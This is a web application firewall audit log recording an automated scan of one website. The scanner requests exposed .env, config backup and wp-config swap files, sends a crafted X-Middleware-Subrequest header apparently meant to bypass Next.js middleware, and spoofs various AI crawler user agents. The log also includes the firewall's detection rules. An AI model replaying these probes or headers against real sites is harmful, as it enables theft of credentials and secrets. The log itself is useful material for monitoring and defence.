User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6a55e040-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6a55e040-E--
--6a55e040-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/laravel/.env"] [unique_id "aqZ-nUwu1RSkptiiNIX7DAAAAJI"]
Stopwatch: 1789296541070817 10092 (- - -)
Stopwatch2: 1789296541070817 10092; combined=8526, p1=226, p2=8146, p3=89, p4=7, p5=58, sr=86, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6a55e040-Z--
--7480502a-A--
[13/Sep/2026:13:49:01.087098 +0300] aqZ-nWM7dE9KgIIOpQh5oAAAAMI 34.80.249.255 36626 127.0.0.1 7081
--7480502a-B--
GET /config/.env.php HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7480502a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7480502a-E--
--7480502a-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/config/.env.php"] [unique_id "aqZ-nWM7dE9KgIIOpQh5oAAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/config/.env.php"] [unique_id "aqZ-nWM7dE9KgIIOpQh5oAAAAMI"]
Stopwatch: 1789296541050910 36250 (- - -)
Stopwatch2: 1789296541050910 36250; combined=34741, p1=269, p2=34334, p3=86, p4=7, p5=45, sr=111, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7480502a-Z--
--f0f5017c-A--
[13/Sep/2026:13:49:01.173549 +0300] aqZ-nTTJ6xTvcJoem7f8GwAAAEg 34.80.249.255 36640 127.0.0.1 7081
--f0f5017c-B--
GET /.env.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f0f5017c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--f0f5017c-E--
--f0f5017c-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.php.bak"] [unique_id "aqZ-nTTJ6xTvcJoem7f8GwAAAEg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.php.bak"] [unique_id "aqZ-nTTJ6xTvcJoem7f8GwAAAEg"]
Stopwatch: 1789296541137784 35824 (- - -)
Stopwatch2: 1789296541137784 35824; combined=34247, p1=303, p2=33818, p3=70, p4=7, p5=49, sr=124, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f0f5017c-Z--
--57dc302e-A--
[13/Sep/2026:13:49:01.390079 +0300] aqZ-nWM7dE9KgIIOpQh5oQAAAMY 34.80.249.255 36656 127.0.0.1 7081
--57dc302e-B--
GET /core/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--57dc302e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--57dc302e-E--
--57dc302e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/core/.env"] [unique_id "aqZ-nWM7dE9KgIIOpQh5oQAAAMY"]
Stopwatch: 1789296541370581 19575 (- - -)
Stopwatch2: 1789296541370581 19575; combined=16294, p1=323, p2=15114, p3=775, p4=9, p5=73, sr=137, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--57dc302e-Z--
--ca02f739-A--
[13/Sep/2026:13:49:01.555654 +0300] aqZ-nWM7dE9KgIIOpQh5ogAAAMo 34.80.249.255 36682 127.0.0.1 7081
--ca02f739-B--
GET /config.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ca02f739-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--ca02f739-E--
--ca02f739-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/config.php.bak"] [unique_id "aqZ-nWM7dE9KgIIOpQh5ogAAAMo"]
Stopwatch: 1789296541536514 19208 (- - -)
Stopwatch2: 1789296541536514 19208; combined=16975, p1=386, p2=16403, p3=113, p4=8, p5=64, sr=171, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ca02f739-Z--
--b0d46879-A--
[13/Sep/2026:13:49:01.711871 +0300] aqZ-nUwu1RSkptiiNIX7DwAAAJU 34.80.249.255 36686 127.0.0.1 7081
--b0d46879-B--
GET /configuration.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b0d46879-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b0d46879-E--
--b0d46879-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/configuration.php.bak"] [unique_id "aqZ-nUwu1RSkptiiNIX7DwAAAJU"]
Stopwatch: 1789296541700123 11920 (- - -)
Stopwatch2: 1789296541700123 11920; combined=9580, p1=385, p2=9010, p3=90, p4=8, p5=87, sr=154, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b0d46879-Z--
--6d02986f-A--
[13/Sep/2026:13:49:01.741331 +0300] aqZ-nSsVWymXUono-eRV@AAAAAA 34.80.249.255 36702 127.0.0.1 7081
--6d02986f-B--
GET /.env.swp HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6d02986f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6d02986f-E--
--6d02986f-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.swp"] [unique_id "aqZ-nSsVWymXUono-eRV@AAAAAA"]
Stopwatch: 1789296541715003 26483 (- - -)
Stopwatch2: 1789296541715003 26483; combined=18170, p1=476, p2=17508, p3=106, p4=13, p5=66, sr=173, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6d02986f-Z--
--17513806-A--
[13/Sep/2026:13:49:01.795731 +0300] aqZ-nUwu1RSkptiiNIX7EAAAAII 34.80.249.255 36710 127.0.0.1 7081
--17513806-B--
GET /public/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--17513806-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--17513806-E--
--17513806-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/public/.env"] [unique_id "aqZ-nUwu1RSkptiiNIX7EAAAAII"]
Stopwatch: 1789296541784515 11346 (- - -)
Stopwatch2: 1789296541784515 11346; combined=8659, p1=427, p2=7979, p3=132, p4=14, p5=107, sr=180, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--17513806-Z--
--9f880b43-A--
[13/Sep/2026:13:49:02.040445 +0300] aqZ-nkwu1RSkptiiNIX7EQAAAIY 34.80.249.255 36712 127.0.0.1 7081
--9f880b43-B--
GET /web/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9f880b43-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--9f880b43-E--
--9f880b43-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/web/.env"] [unique_id "aqZ-nkwu1RSkptiiNIX7EQAAAIY"]
Stopwatch: 1789296542026027 14478 (- - -)
Stopwatch2: 1789296542026027 14478; combined=11441, p1=670, p2=10558, p3=141, p4=12, p5=60, sr=402, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9f880b43-Z--
--28a3692b-A--
[13/Sep/2026:13:49:02.105743 +0300] aqZ-nmM7dE9KgIIOpQh5owAAANc 34.80.249.255 36718 127.0.0.1 7081
--28a3692b-B--
GET /wp/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--28a3692b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--28a3692b-E--
--28a3692b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp/.env"] [unique_id "aqZ-nmM7dE9KgIIOpQh5owAAANc"]
Stopwatch: 1789296542096192 9769 (- - -)
Stopwatch2: 1789296542096192 9769; combined=7605, p1=394, p2=6844, p3=241, p4=14, p5=110, sr=155, sw=2, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--28a3692b-Z--
--7aefd750-A--
[13/Sep/2026:13:49:02.184132 +0300] aqZ-nisVWymXUono-eRV@wAAABE 34.80.249.255 36744 127.0.0.1 7081
--7aefd750-B--
GET /storage/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7aefd750-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7aefd750-E--
--7aefd750-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/storage/.env"] [unique_id "aqZ-nisVWymXUono-eRV@wAAABE"]
Stopwatch: 1789296542164705 19486 (- - -)
Stopwatch2: 1789296542164705 19486; combined=16242, p1=347, p2=15656, p3=96, p4=90, p5=52, sr=152, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7aefd750-Z--
--d5e08b69-A--
[13/Sep/2026:13:49:02.196039 +0300] aqZ-nisVWymXUono-eRV@QAAABI 34.80.249.255 36734 127.0.0.1 7081
--d5e08b69-B--
GET /wp-config.php.swp HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d5e08b69-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d5e08b69-E--
--d5e08b69-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ-nisVWymXUono-eRV@QAAABI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ-nisVWymXUono-eRV@QAAABI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ-nisVWymXUono-eRV@QAAABI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ-nisVWymXUono-eRV@QAAABI"]
Stopwatch: 1789296542148574 47532 (- - -)
Stopwatch2: 1789296542148574 47532; combined=45361, p1=384, p2=44782, p3=97, p4=12, p5=85, sr=174, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d5e08b69-Z--
--03426f1b-A--
[13/Sep/2026:13:49:02.226258 +0300] aqZ-nisVWymXUono-eRV-AAAAAY 34.80.249.255 36750 127.0.0.1 7081
--03426f1b-B--
GET /wp-config.php~ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--03426f1b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--03426f1b-E--
--03426f1b-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
